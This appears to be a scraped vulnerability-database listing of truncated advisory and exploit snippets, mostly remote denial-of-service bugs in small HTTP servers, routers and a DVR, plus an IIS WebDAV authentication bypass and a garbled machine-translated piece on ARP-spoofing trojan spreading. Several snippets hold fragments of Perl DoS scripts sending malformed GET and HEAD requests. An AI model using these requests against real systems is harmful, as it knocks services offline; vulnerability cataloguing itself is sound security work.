Microsoft IIS 5.0 WebDAV绕过认证漏洞(MS09-020)

BUGTRAQ ID: 35232 CVECAN ID: CVE-2009-1122 Microsoft Internet信息服务（IIS）是Microsoft Windows自带的一个网络信息服务器，其中包含HTTP服务功能。 IIS的WebDAV扩展没有正确解码特制请求的URL，导致WebDAV在处理该请求时应用不正确的配置。如果应用的配置允许匿名访问，则特制的请求可以绕过身份验证。 请注意IIS在配置的匿名用户帐户的安全上下文中仍会处理该请求，因此此漏洞不能用于绕过NTFS ACL，文件系统ACL对匿名用户帐户强加的限制将仍然执行。 Microsoft IIS 5.0 临时解决方法...

Nagios / Nagios Core Detection (HTTP)

HTTP based detection of Nagios / Nagios Core. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Zervit 0.3 Remote Denial Of Service

!/usr/bin/perl Zervit HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$i=4;$i++ $socket = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "-Done!\n"; print $socket "GET \x11...

Zervit Web Server 0.3 - sockets++ crash Remote Denial of Service

Zervit Web Server 0.3 - sockets++ crash Remote Denial of Service !/usr/bin/perl Zervit HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$i=4;$i++ $socket = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$ip",...

Xitami Web Server 5.0 - Remote Denial of Service

Xitami Web Server 5.0 - Remote Denial of Service !/usr/bin/perl Xitami HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$inew Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "- Failed\n"; print $sock...

Xitami Web Server 5.0 - Remote Denial of Service

!/usr/bin/perl Xitami HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$inew Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "- Failed\n"; print $socket "HEAD /% HTTP/1.0\r\n\r\n"; print "+ Done!\n";...

Zervit Web Server 0.3 - sockets++ crash Remote Denial of Service

!/usr/bin/perl Zervit HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$i=4;$i++ $socket = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "-Done!\n"; print $socket "GET \x11...

Sami HTTP Server 2.x - HEAD Remote Denial of Service

Sami HTTP Server 2.x - HEAD Remote Denial of Service !/usr/bin/perl Sami HTTP Server v2.x Remote Denial of Service with HEAD request. -------------------------------------------------------------------- The vulnerability is caused due to an error in handling the HEAD command. This can be exploite...

Neostrada Livebox Remote Network Down PoC Exploit

Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ; Friends: cOndemned,joker,chomzee,TBH IRC:...

Neostrada Livebox Router Remote Network Down PoC Exploit

No description provided by source. Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ; Friends:...

Neostrada Livebox Router - Remote Network Down (PoC)

Neostrada Livebox Router Remote Network Down PoC Exploit Author: 0in aka zer0in from Dark-Coders Group! Contact: 0in.emailatgmail.com / 0inatdark-coders.pl Site: http://dark-coders.pl Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ; Friends: cOndemned,joker,chomzee,TBH IRC:...

New hung it to the way ARP spoofing hung it to the roost area network-vulnerability warning-the black bar safety net

Web hang Horse the most difficult is to spread a small website, easy to invasion but the access number is not much, harvest the broiler also is not very much. Therefore, a new kind of hung it to the way the epidemic began--a local area network ARP spoofing hung it, as long as the local area netwo...

Samsung DVR SHR2040 - HTTPd Remote Denial of Service Denial of Service (PoC)

!/usr/bin/perl -w Samsung DVR SHR2040 HTTPD Remote Denial of Service DoS PoC The vulnerability is caused due to an unspecified error in the cgis files filter used for configure propierties. This can be exploited by sending a specially crafted HTTP request NO necessary authentication, which will...

dontcrysis-adv.txt

Luigi Auriemma Application: Crysis http://www.ea.com/crysis/home.jsp Versions: = 1.21 1.1.1.6156 showed as gamever Platforms: Windows Bug: NULL pointer in the HTTP/XML-RPC service Exploitation: remote, versus server Date: 16 Jun 2008 Author: Luigi Auriemma e-mail: [email protected] web:...

Design/Logic Flaw

The HTTP service on the Cisco Linksys WRH54G with firmware 1.01.03 allows remote attackers to cause a denial of service management interface outage or possibly execute arbitrary code via a URI that begins with a "/./" sequence, contains many instances of a "frontpage" sequence, and ends with a...

CVE-2008-2636

The HTTP service on the Cisco Linksys WRH54G with firmware 1.01.03 allows remote attackers to cause a denial of service management interface outage or possibly execute arbitrary code via a URI that begins with a "/./" sequence, contains many instances of a "frontpage" sequence, and ends with a...

CVE-2008-2636

The CVE-2008-2636 issue affects Cisco Linksys WRH54G (firmware 1.01.03) HTTP management interface. A remote attacker can cause a denial of service or possibly execute arbitrary code by sending a crafted URI starting with a "/./" sequence, containing many instances of a "front_page" sequence, and ...

linksyswrh54g-dos.txt

DESCRIPTION There is a DoS vulnerability in Cisco Linksys router WRH54G http service. Any anonymous attacker could crash the http service easily by sending a malformed http request, and needn't any privilege. When the device attempts to process the malformed request, it will be possible to...

Linksys WRH54G 1.1.3 Wireless-G Router - HTTP Request Denial of Service

source: https://www.securityfocus.com/bid/29570/info Linksys WRH54G Wireless-G Router is prone to a denial-of-service vulnerability because it fails to adequately handle malformed HTTP requests. As a result, memory becomes corrupted and the device's HTTP service will crash. Successful exploits wi...

Stack overflow

Multiple stack-based buffer overflows in Now SMS/MMS Gateway 2007.06.27 and earlier allow remote attackers to execute arbitrary code via a 1 long password in an Authorization header to the HTTP service or a 2 large packet to the SMPP service...